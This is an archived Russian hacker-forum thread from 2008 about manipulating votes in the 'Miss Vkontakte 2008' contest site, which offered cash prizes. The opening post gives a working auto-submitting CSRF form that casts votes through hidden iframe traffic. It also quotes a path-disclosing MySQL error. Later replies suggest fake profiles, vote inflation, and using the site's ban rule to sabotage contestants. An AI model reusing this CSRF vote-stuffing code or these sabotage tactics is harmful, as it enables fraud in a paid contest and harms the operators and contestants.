HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Мисс Вконтакте 2008 xD
   
Ответ
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Мисс Вконтакте 2008 xD
  #1  
Старый 16.08.2008, 06:44
T-Rey
Постоянный
Регистрация: 04.07.2007
Сообщений: 375
С нами: 9923426

Репутация: 730
По умолчанию Мисс Вконтакте 2008 xD
Ходя по интернету наткнулся на сайт http://missvkontakte.com/

Цель его такова:
Девушки регистрируются
За них голосуют
И сами призы
Цитата:
1-место Приз: 300 000 рублей.
2-место Приз: 100 000 рублей.
3-место Приз: 50 000 рублей.
Голоса можно было отправить несколькими способами:
1 голос бесплатно (по ip каждые пол часа)
10 голосов СМС
100 голосов СМС

Ну покопавшись в сорцах сайта обнорушил, что +1 добавляется обычным post запросом (хоть бы капчу прикрутили )

И был написан iframe
PHP код:
<html>
<body>
<form name=MyForm action="http://missvkontakte.com/simplevoice.php" method=POST>
<input type=hidden name="id_miss" value="Номер учасницы">
</form>
<script>
document.MyForm.submit();
</script>
</body>
</html> 
Следовательно сливаем на него трафф и голоса летят) или крути пост через ТОПген

Так же заметил ошибку мускула где раскрытие путей:
PHP код:
Warning: mysql_fetch_array(): supplied argument is
 not a valid MySQL result resource in /www/missvkon/www/htdocs/index.php on line 261 

Есть идеи? Что ещё можно найти тут?



P.S. Сайт ну никак не соответствует призовой сумме



Благодарю комрада mr.The за помощь оказанную мне в поиске уязвимостей сайта.
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось T-Rey; 17.08.2008 в 19:20..
 
Ответить с цитированием

  #2  
Старый 16.08.2008, 07:44
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
имхо, помоему лажа полная, можно конечно накрутить голосов понравившейся телке , или создать фейковую анкету и накрутить себе , только есть один вопрос, а не кидалово ли этот сайт.
 
Ответить с цитированием

  #3  
Старый 16.08.2008, 07:59
T-Rey
Постоянный
Регистрация: 04.07.2007
Сообщений: 375
С нами: 9923426

Репутация: 730
По умолчанию
Вот у меня точно такие же сомнения.
Хотят срубить на смс.

Акция до декабря, вполне реально, что приз будет.
Призовой фонд 450 тонн... они на той же рекламе и смс за это время в раза 4 больше получат.
 
Ответить с цитированием

  #4  
Старый 16.08.2008, 08:46
KaZ@NoVa
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
С нами: 9394886

Репутация: 1467


Red face
Цитата:
Сообщение от T-Rey  
Вот у меня точно такие же сомнения.
Хотят срубить на смс.

Акция до декабря, вполне реально, что приз будет.
Призовой фонд 450 тонн... они на той же рекламе и смс за это время в раза 4 больше получат.
:d) Согласен!!!))
 
Ответить с цитированием

  #5  
Старый 16.08.2008, 11:53
T-Rey
Постоянный
Регистрация: 04.07.2007
Сообщений: 375
С нами: 9923426

Репутация: 730
По умолчанию
Никаких уязвимостей больше не обнаружено.
Кроме конечно того факта, при накрутки участници её банят :-l
Так диверсию устроить можно.
 
Ответить с цитированием

  #6  
Старый 16.08.2008, 11:57
born2flood
Banned
Регистрация: 11.08.2008
Сообщений: 15
С нами: 9341666

Репутация: 5
По умолчанию
в бан всех!
 
Ответить с цитированием

  #7  
Старый 16.08.2008, 12:01
Midas
Участник форума
Регистрация: 17.01.2008
Сообщений: 284
С нами: 9639135

Репутация: 117
По умолчанию
а можно ради проверки действительно создать фэйковую анкету и накрутить её на максимум. Посмотрим на реакцию администрации
 
Ответить с цитированием

  #8  
Старый 16.08.2008, 12:02
born2flood
Banned
Регистрация: 11.08.2008
Сообщений: 15
С нами: 9341666

Репутация: 5
По умолчанию
http://vkontakte.ru/id16557956
действуйте, воены!
 
Ответить с цитированием

  #9  
Старый 17.08.2008, 17:37
T-Rey
Постоянный
Регистрация: 04.07.2007
Сообщений: 375
С нами: 9923426

Репутация: 730
По умолчанию
Цитата:
Сообщение от born2flood  
http://vkontakte.ru/id16557956
действуйте, воены!
Удалили.

Катю Пушкарёву в лидеры!


Нужен iframe траффик.
 
Ответить с цитированием

  #10  
Старый 17.08.2008, 19:02
T-Rey
Постоянный
Регистрация: 04.07.2007
Сообщений: 375
С нами: 9923426

Репутация: 730
По умолчанию
http://vkontakte.ru/club3621274

Я плакатъ =))
 
Ответить с цитированием
Ответ
Страница 1 из 2 1 2 >



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Приму в дар Don Anton Болталка 9 02.08.2008 18:02
ВКонтакте, Одноклассники и Top4Top, или улов социальных сетей baltazar SЕО - тонкости, методы раскрутки 11 07.06.2008 14:53
Microsoft представила Windows Server 2008 Vanterlog Мировые новости. Обсуждения. 0 28.02.2008 14:20
Windows 2008 procedure Windows 3 05.02.2008 09:49



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.